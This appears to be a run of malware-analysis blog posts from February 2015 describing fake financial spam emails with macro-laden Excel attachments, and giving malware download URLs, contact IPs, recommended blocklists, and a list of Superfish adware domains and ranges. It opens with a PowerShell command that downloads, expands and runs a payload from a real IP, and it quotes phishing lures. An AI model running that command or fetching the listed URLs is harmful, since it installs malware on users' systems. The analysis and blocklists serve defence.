cmd /K PowerShell.exe (New-Object System.Net.WebClient).DownloadFile('http://185.48.56.137/ssdynamooss/sspidarss.cab','%TEMP%\FgdgFFFgfgF.cab'); expand %TEMP%\FgdgFFFgfgF.cab %TEMP%\FgdgFFFgfgF.exe; start %TEMP%\FgdgFFFgfgF.exe;

These are:

134.19.180.44 (Global Layer, NL)
185.48.56.137 (Sinarohost, NL)

Payload is the same as before.


Recommended blocklist:
82.151.131.129
121.50.43.175
74.208.68.243
85.143.166.0/24
37.139.47.0/24
134.19.180.44
185.48.56.137

Malware spam: "This is your Remittance Advice #CCI36306" / "Violet Garner [Jodi.1d@ip-35-29-71-77.bgwan.com]" / "Saint Gobain UK"

This fake financial email does not come from Saint Gobain UK but is instead a forgery with a malicous attachment.
From:    Violet Garner [Jodi.1d@ip-35-29-71-77.bgwan.com]
Date:    19 February 2015 at 11:25
Subject:    This is your Remittance Advice #CCI36306

DO NOT REPLY TO THIS EMAIL ADDRESS

Please find attached your remittance advice from Saint Gobain UK.
For any queries relating to this remittance please notify the Payment Enquiry Team on 01484946582

Regards,
SGBD National Payments Centre
I have seen two different versions of the malicious attachment CCI36306.xls, one of which is functionally identical to this one, the other one downloads a file from:

http://hummel-29.de/js/bin.exe

This malicious binary is the same one as used in two other spam runs today [1] [2].


Malware spam: "Marylou Champagne [marylou@droitcour.com]" / "Proforma Invoice"

This fake financial spam comes with a malicious attachment:

From:    Marylou Champagne [marylou@droitcour.com]
Date:    19 February 2015 at 09:41
Subject:    Proforma Invoice

Good Afternoon,

We have your purchase order SP14216 ready to ship.
Please advise if you will prepay or should we send COD.

Thank you,
Marylou
This email is not from Droitcour and their systems and data have not been hacked or compromised in any way. Instead, this is a simple forgery that comes with a malicious Excel document attached.

So far I have only seen a single sample of the attachment Inv SP14216.xls which contains a malicious macro (similar to the one here) which downloads a file from:

http://mondeodoslubu.cba.pl/js/bin.exe

This trojan download is identical to the one I mentioned here and it leads to the same payload.

Malware spam: "Maria Wilson" / "securigroup.co.uk" / "Statement"

This fake financial spam does not come from SecuriGroup, their systems have not been compromised in any way nor has there been any leak of information. Instead, this is a simple forgery with a malicious document attached.

From:    Maria Wilson [maria.wilson6870@securigroup.co.uk]
Date:    19 February 2015 at 09:10
Subject:    Statement

Please see attached up to date statement.

I would be grateful if you could confirm all due invoices have been processed for payment.

Many thanks
Maria

Maria Wilson | Credit Controller

T: 0141 285 3838


www.securigroup.co.uk


Think Sustainability - Do not print this email unless essential


This email and any attachments are confidential and intended for the addressee only.

If you are not the named recipient, you must not use, disclose, reproduce, copy or distribute the contents of this communication.

If you have received this in error, please contact the sender and then delete this email from your system.
The impact on this innocent company appears to be severe, with their website currently suspended.

I have only seen only sample of the attachment Statement 18 FEB 2015.xls although there are probably other variants. This contains a set of macros [password=infected] which are mostly crap, but the key parts are Modules 13 (the encrypted strings) and 27 (the decrypt function). These macros download a file from the following location:

http://hazardcheck.de/js/bin.exe

This is saved as %TEMP%\FfdgF.exe which has a VirusTotal detection rate of 5/57. Various automated analysis tools [1] [2] [3] show attempted network connections to:

83.169.4.178 (Hosteurope, Germany)
66.110.179.66 (Microtech Tel, US)
202.44.54.5 (World Internetwork Corporation, Thailand)
14.99.146.242 (Tata Indicom, India)
78.140.164.160 (Webazilla, US)
220.143.5.92 (Chunghwa Telecom, Taiwan)
217.12.203.34 (ITL Company, Bulgaria)

The Malwr report shows it dropper another version of the downloader (VT 3/57) and a malicious DLL (VT 6/57). Payload is probably Dridex.

Recommended blocklist:
83.169.4.178
66.110.179.66
202.44.54.5
14.99.146.242
78.140.164.160
220.143.5.92
217.12.203.34



Some Superfish domains and IP addresses and ranges you might want to look for

In the light of the growing Lenovo / Superfish fuss, I set out to identify those Superfish domains and IPs that I could, for the purposes of blocking or monitoring.

The domains and IPs that I have been able to identify are here [csv].

Superfish appear to operate the following domains (and several subdomains thereof):

venn.me
best-deals-products.com
superfish.com
pin2buy.net
pintobuy.net
similarproducts.net
adowynel.com
govenn.com
group-albums.com
jewelryviewer.com
likethatapps.com
likethatdecor.com
likethatpet.com
likethatpets.com
testsdomain.info
superfish.mobi
vennit.net
superfish.us

These following IP addresses and ranges appear to be used exclusively by Superfish (some of their other domains are on shared infrastructure).

66.70.35.240/28
66.70.34.64/26
66.70.34.128/26
66.70.34.251
66.70.35.12
66.70.35.48

All of those IPs are allocated to Datapipe in the US. Superfish itself is based in Israel, which seems to be a popular place to develop adware.

Do with this data what you will, if you have any more IPs or domains then perhaps you might share them in the Comments.